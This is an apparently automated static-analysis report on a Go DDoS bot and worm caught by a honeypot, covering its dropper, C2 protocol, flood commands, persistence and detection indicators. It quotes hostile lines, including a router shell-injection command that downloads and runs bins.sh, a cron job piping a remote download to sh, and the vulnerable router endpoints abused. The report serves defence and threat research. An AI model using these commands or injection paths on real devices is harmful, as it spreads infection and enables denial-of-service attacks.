Honeypot capture
X86_64 ELF 64-bit LSB pie executable ddos-bot (ada33a0316d3)
A honeypot sensor network caught a 5,579,151-byte ELF sample that, read as data, resolves to exactly one command-and-control address, the channel an infected machine uses to reach its operator for instructions. The sample was read statically in a headless decompiler and never run, with no egress from the analysis container, so every address and offset below comes from the image rather than from a capture. That address is dialled by net.Dial("tcp", "185.226.93.242:9111") at offset 0x2122f8. The sample carries no domain, no DGA and no fallback endpoint, so a single blocklist entry covers it. The same host appears in nine other analysed captures, which ties those captures to one operator’s infrastructure.
The file holds two stages, the first an 8,407-byte x86-64 dropper — a program that writes another program to disk and runs it — carrying a 5,570,744-byte AArch64 Go implant appended to itself. The implant installs itself as sysd, beacons host telemetry over the plaintext socket, accepts flood command verbs, and scans random public IPv4 addresses to inject shell commands into consumer routers. The scanning behaviour makes the sample a worm. A worm copies itself to further machines with no user action, across a network, removable media or exposed services, so one infection becomes many. The sample works as a DDoS bot, a worm and a dropper, with router credential access on the scanning path and no credential-exfil or file-encryption path. Family attribution is open — the Go module path Botnet/Bot is the author’s build metadata, and no corpus was available offline to match it against.
Stage 0 and the carved payload
Stage 0’s main (0xef0) extracts the payload appended at file offset 0x20d7 to a tmpnam path and execves it, writes an hourly cron downloader (0x4010d3), and walks its working directory infecting writable ELF64 files (0x401460, marker test at 0x4016a0). The stub hides every interesting string behind a bespoke 88-entry byte substitution cipher with both alphabets stored in the writable segment (0x202020/0x202080, decoder at 0x15d0). The pipeline recovered that cipher fully. Decoding the string at 0x1939 with it yields /proc/self/exe, which confirms the orientation of the two alphabets.
The stub is x86-64 and the payload it execves is AArch64, so on an x86-64 host that execve fails and any dynamic work has to run the carved payload directly on AArch64. The carve is unpacked.bin, SHA-256 d114ce1baab7cfe7282245fda2808a9b40605948a01a9b7fe48336b42536ba23, and it is the analysis target for every stage-1 address below. The findings record stripped ELF section headers, which leave symbol- and section-based tooling nothing to read while the loadable segments still run; the missing import table follows from the static Go build (CGO_ENABLED=0 -tags=netgo).
Recovered capabilities
Table 1. Recovered capabilities, with ATT&CK technique, evidence offset and pipeline confidence.
Per-capability confidence as assessed by the pipeline, with the ATT&CK technique and the offset each claim is anchored to. Static analysis only, in a headless decompiler; stage-0 offsets are in sample.bin.
| Capability | ATT&CK | Evidence | Confidence |
|---|---|---|---|
| Plaintext TCP C2 | T1071 (MBC B0030) | 0x2122f8 | 0.95 |
| Non-registered port tcp/9111 | T1571 | 0x54c3c0 | 0.90 |
| Host reconnaissance (CPU/mem) | T1082 | 0x2148c0 | 0.90 |
| Network denial of service | T1498 | 0x20fe00 | 0.90 |
| Endpoint (L7) denial of service | T1499 | 0x2067a0 | 0.85 |
| rc-script persistence | T1037.004 | 0x2143a0 | 0.90 |
Self-copy / masquerade as sysd | T1036 | 0x2143a0 | 0.90 |
| Exploit public-facing app (worm) | T1190 | 0x2150c0 | 0.85 |
Ingress tool transfer (bins.sh) | T1105 | 0x2f729d | 0.80 |
| Device credential access | T1110 | 0x2156a0 | 0.80 |
| String obfuscation (stage 0) | T1027 | stage-0 0x202080 | 0.60 |
| Cron persistence (stage 0) | T1053.003 | stage-0 0x4010d3 | 0.50 |
A second, independent decompiler backend resolved the endpoint in the top row identically.
The plaintext TCP control channel
The implant assembles the endpoint immediately before the dial out of two adjacent Go string headers.
0x2122b8 adrp x27, 0x54c000
0x2122bc add x27, x27, #0x3c0
0x2122c0 ldp x1, x2, [x27]
0x2122c4 adrp x27, 0x54c000
0x2122c8 add x27, x27, #0x3d0
0x2122cc ldp x5, x6, [x27]
0x2122d4 adrp x3, 0x35d000
0x2122d8 add x3, x3, #0x2a8
0x2122e0 bl 0x6b800
0x2122ec adrp x0, 0x2e5000
0x2122f0 add x0, x0, #0xa48
0x2122f4 orr x1, xzr, #0x3
0x2122f8 bl 0x12f6a0
The header at 0x54c3c0 reads 30e63500000000000e00000000000000775b2e00000000000400000000000000 — a pointer to 0x35e630 with length 0x0e, then a pointer with length 4. The listing records the first target as ' 34e630 185.226.93.242' (VA = 0x34e630 + 0x10000 = 0x35e630), and the fourteen bytes there are 3138352e3232362e39332e323432; the four-byte string is the port. The recovered listing annotates the separator loaded at 0x35d2a8 as ; the concatstring3 separator, ":" and the network argument to the dial at 0x2e5a48 as ; the net.Dial network argument, exactly "tcp" (not tcp4/tcp6/udp).
The protocol has no framing beyond newline delimiting. Commands arrive as \n-terminated ASCII lines, split on whitespace by strings.Fields (0x2124b0) and dispatched through a length-indexed jump table at 0x364320. net.Dial hands the raw connection straight to a bufio.Scanner (0x212494), with no crypto/tls call in between. r2’s /ck found no crypto constant table and /ca aes no key schedule, although 380 of the implant’s 6,130 symbols belong to crypto/tls, serving net/http and the TLS-based attack handlers. The findings record no magic, no length prefix, no compression and no encryption in either direction, confirmed in the consensus round as items FR1 and PE1.
The implant reports host telemetry on a fixed schedule, because main.GetStats (0x2148c0) reads /proc/stat for CPU utilisation and /proc/meminfo for MemTotal/MemFree/Buffers/Cached and emits one line every 2 seconds in the format at 0x2eb1d1, STATS|%d|%d|%d|%d|%s, which carries CPU count, CPU percent, total and used memory, and the GOARCH string. The first integer comes from a Go runtime global at 0x581448 whose identity — gomaxprocs or NumCPU — was not resolved; that changes only the human label on the field. On a successful dial the implant prints “Connected to CNC!”, a time.AfterFunc(118 s) forces a reconnect with “Auto-reconnecting (120s limit)…”, and on dial failure or EOF it sleeps 5 seconds and redials. The beacon has no jitter (0x2141a8).
reproduction/c2_dissect.py therefore decodes one stream into the victim’s CPU count and utilisation, its total and used RAM and its architecture, plus each task’s attack method, target, port and duration for the whole session. Three protocol test vectors replay through the dissector. All three were synthesised rather than captured, because the analysis container has no egress and the sample was never run, so the codec has only been checked against bytes derived from the binary. Confidence in the layout is high because the format string and the field order were read directly out of the image, and a live capture would upgrade it from derived to observed. No greeting, token or magic appears on the dial path either, so reproduction/c2_client.py opens with a STATS line; if the real CNC expects a handshake before tasking, that step has to be added.
The 19 command verbs
Table 2. The 19 command verbs, with handler address and behaviour.
Verbs as matched by the dispatch table at 0x364320; handler addresses are virtual addresses in unpacked.bin. Recovered by decompilation of the carved payload.
| Verb | Handler | Behaviour |
|---|---|---|
udp | 0x20fe00 | UDP flood |
tcp | 0x20df70 | TCP flood |
hex | 0x20aff0 | TCP flood, hex payload |
std | 0x20dd80 | random-payload flood |
ovh | 0x20bff0 | OVH-tuned flood |
ping | 0x20c240 | ICMP flood |
ntp | 0x20b270 | NTP reflection/amplification |
pps | 0x20c560 | packets-per-second flood |
ppsraw | 0x20d620 | PPS flood, raw socket |
voult | 0x211c50 | raw-socket attack |
handshake | 0x20aa10 | TCP-handshake flood |
fort | 0x2082b0 | L7 attack (HTTP/2 preface) |
game | 0x208930 | game-protocol flood |
priv7 | 0x20cb40 | HTTP POST flood |
browser | 0x2067a0 | L7 browser-impersonation flood |
tls | 0x20e0b0 | TLS flood |
tlsplus | 0x20ea50 | L7 TLS+ (direct) |
tlsplusbypass | 0x20f490 | L7 TLS+ via proxy list (bypass.txt) |
cloudflare | 0x208050 | Cloudflare-bypass L7 flood |
The findings map eleven of the verbs, udp through handshake, to volumetric and reflection flooding under T1498 (0x20fe00), and seven that build full HTTP/HTTPS requests with rotating browser headers and proxy chains to T1499 (0x2067a0); the remaining verb, tls, is the TLS flood at 0x20e0b0. Each verb takes target port duration, with the duration enforced by a time.AfterFunc timer. Each handler runs ResetAttack (0x2104c0) to tear down before it begins, and ResetAttack has exactly 19 callers, one per arm of the dispatcher. Three of the handlers — PPSRawFlood, VoultAttack, HandshakeFlood — need CAP_NET_RAW or root.
The pipeline did not analyse packet construction inside those handlers. The flood functions span 0x2067a0–0x211fa0 across 93 symbols, so the table says which handler a verb reaches and leaves the bytes on the wire unread.
How it reaches the next device
main.StartScanner (0x214e10) runs as a goroutine alongside the command loop. It picks random public IPv4 addresses, skipping RFC1918, loopback and unparseable ones, fingerprints the embedded web interface it finds, and injects shell commands through two known router paths: Boa’s POST /boafrm/formSysCmd with submit-url=%2Fsyscmd.htm&...&sysCmd=, and the TOTOLINK/LB-Link topicurl JSON API. The command it injects is wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh.
The host filling that %s has zero data cross-references and is supplied at runtime, as is the host in the related templates http://%s/bins.sh and http://%s/config.dat; the findings record that the host is not a literal in the image. Whether config.dat is fetched by the bot or served to victims turns on main.confCheck (0x215450), which was not decompiled.
Alongside the injection path, main.getCredLeak and main.getAdminCredLeak (0x2156a0) harvest router administrator credentials through a disclosure primitive, decompress the device’s response with an embedded LZSS decoder, then authenticate, solving a CAPTCHA when one is present. That decoder is the only author-written decoder among the implant’s 6,130 symbols, and every one of its callers sits on the victim-response path; it is main.Decode at 0x215180, a 4096-byte ring pre-filled with 0x20 to offset 0xfee, with 12-bit offset, 4-bit length and threshold 2.
What the sample writes to the host
The implant installs itself under the name sysd. main.AutoStart (0x2143a0) copies the running executable to the first writable directory among /usr/bin/, /data/local/tmp/ (the Android path), /tmp/ and /var/run/, falling back to ./, names it sysd and chmods it 0777. It tests writability by creating [dir]test_write with O_RDWR|O_CREAT|O_TRUNC and mode 0666 and removing it immediately.
The same function appends \n[path]/sysd &\n to /etc/rc.local, /etc/rc.d/rc.local, /etc/init.d/boot.local, /etc/profile, /root/.bashrc and one further path containing the hardcoded literal username user, which means that last one only fires on a host with that account. The function appends to a file only if that file does not already contain the string sysd, the marker the implant greps rc files for before appending.
The pipeline assesses the stage-0 cron job at confidence 0.50. The stub writes /etc/cron.hourly/0 containing #!/bin/sh\n\n wget --quiet hxxp[://]cf0[.]pw/0/etc/cron.hourly/0 -O- 2>/dev/null|sh>/dev/null 2>&1, chmods it 05777 and calls ioctl FS_IOC_SETFLAGS on it. The evidence for this lives in the stage-0 stub in sample.bin, and only as ciphertext behind the substitution table, so cf0[.]pw, the URL, the cron path and the infection marker bongripz4jezuz are reported here in prose and are absent from the endpoint list in c2_profile.json. The direction of the ioctl was not traced end to end, so whether it sets or clears FS_IMMUTABLE_FL is unknown.
Ports and privileges it needs
The implant runs with only user privilege. The /usr/bin/sysd copy and the /etc/rc.local and /etc/profile appends need root; the /tmp/, /var/run/ and /root/.bashrc paths degrade gracefully. On the network side it needs outbound tcp/9111 to 185[.]226[.]93[.]242, tcp/80 and tcp/443 for scanning, exploitation and the L7 floods, and udp/123 for the NTP amplification method; denying any one of those blocks the capability behind it.
Network signatures
A STATS| line of four pipe-separated integers followed by the GOARCH value arm64 on an outbound TCP flow is the alerting signature, and detections/ada33a0316d3.rules is the ready-made Suricata rule for it. User-Agent: Hello World is a fixed and implausible header emitted by part of the HTTP code, assessed at confidence 0.70.
Addresses in the bytes but not in the profile
A byte sweep of the file found 26 network indicators beyond the recovered profile, among them the routable addresses 1[.]2[.]1[.]1, 1[.]2[.]2[.]1, 1[.]3[.]1[.]1, 119[.]0[.]0[.]0, 120[.]0[.]0[.]0 and 22[.]5[.]4[.]62, plus 1[.]1[.]1[.]1, which the findings record as a candidate scan or flood target and not confirmed C2. The findings treat them as unconfirmed leads rather than verified C2.
Where the artifacts are
What a live capture would add
A live capture would replace the synthesised test vectors and show which addresses the C2 host now resolves to and whether it still answers on tcp/9111.
- Family
- unclassified
- First seen
- October 12, 2026
- Vector
- Runs as a ddos-bot/worm; the entry vector is not established by static analysis
- Format
- 5448 KB x86_64 ELF 64-bit LSB pie executable
- VirusTotal
- Not on VirusTotal
- Tags
- ddos-bot · dropper · elf · raw_tcp · worm · x86_64
- Sample
- By request. Email [email protected]
SHA-256
-
ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6bas captured -
d114ce1baab7cfe7282245fda2808a9b40605948a01a9b7fe48336b42536ba23unpacked payload
Analysis performed using an automatic malware analysis pipeline using Binary Ninja